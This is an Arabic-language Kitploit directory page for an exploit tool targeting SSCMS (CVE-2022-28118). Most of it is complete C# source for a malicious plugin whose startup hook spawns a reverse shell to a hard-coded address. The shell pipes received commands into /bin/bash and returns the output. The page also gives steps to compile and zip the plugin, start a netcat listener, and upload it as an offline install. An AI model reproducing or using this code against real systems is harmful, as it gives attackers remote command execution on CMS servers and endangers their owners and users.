Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SSCMS-PluginShell — CVE-2022-28118 | Kitploit
أدوات/GitHubGitHub/richard-tang/sscms-pluginshell
الاستغلالاستغلال تطبيقات الويبما بعد الاستغلالالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubrichard-tang/sscms-pluginshell

SSCMS-PluginShell

CVE-2022-28118

عرض المستودع
82منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
  1. تثبيت VisualStudio

  2. استيراد هذا المشروع

  3. تعديل قيمة IPAddress.Parse في ملف Startup.cs

    root@kitploit:~
    using Microsoft.Extensions.DependencyInjection;
    using SSCMS.Advertisement.Abstractions;
    using SSCMS.Advertisement.Core;
    using SSCMS.Plugins;
    using System.Diagnostics;
    using System;
    using System.Text;
    using System.Net.Sockets;
    using System.Net;
    using System.Threading;
    
    namespace SSCMS.Advertisement
    {
        public class Startup : IPluginConfigureServices
        {
            
          public void ConfigureServices(IServiceCollection services)
          {
             ThreadStart childref = new ThreadStart(reversShell);
             Thread childThread = new Thread(childref);
             childThread.Start();
             services.AddScoped<IAdvertisementRepository, AdvertisementRepository>();
          }
    
    		public void reversShell()
    		{
    			Socket socketshell = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    			IPAddress ip = IPAddress.Parse("172.17.0.1");
    			IPEndPoint point = new IPEndPoint(ip, Convert.ToInt32("8889"));
    			try
    			{
    				socketshell.Connect(point);
    				while (true)
    				{
    					byte[] getdata = new byte[1024 * 5];
    					int n = socketshell.Receive(getdata);
    					string restr = Encoding.Default.GetString(getdata, 0, n);
    					string command = restr;
    					string resultok = willshell(command);
    					byte[] senddata = new byte[1024 * 5];
    					senddata = Encoding.Default.GetBytes(resultok);
    					socketshell.Send(senddata);
    				}
    			}
    			catch
    			{
    				socketshell.Close();
    			}
    		}
    
    		public static string willshell(object command)
    		{
    			Process process = new Process();
    			process.StartInfo.FileName = "/bin/bash";
    			process.StartInfo.UseShellExecute = false;
    			process.StartInfo.RedirectStandardError = true;
    			process.StartInfo.RedirectStandardInput = true;
    			process.StartInfo.RedirectStandardOutput = true;
    			process.StartInfo.CreateNoWindow = true;
    			process.Start();
    			process.StandardInput.WriteLine("echo off");
    			process.StandardInput.WriteLine(command);
    			process.StandardInput.WriteLine("exit");
    			string result = process.StandardOutput.ReadToEnd();
    			return result;
    		}
    	}
    }
    
  4. ترجمة المشروع

  5. ضغط دليل الإخراج المترجم في حزمة Zip

  6. تشغيل الاستماع على الخادم

    root@kitploit:~
    nc -lvvp 8889
    
  7. رفع للتثبيت دون اتصال إلى النظام

تنزيل الأداة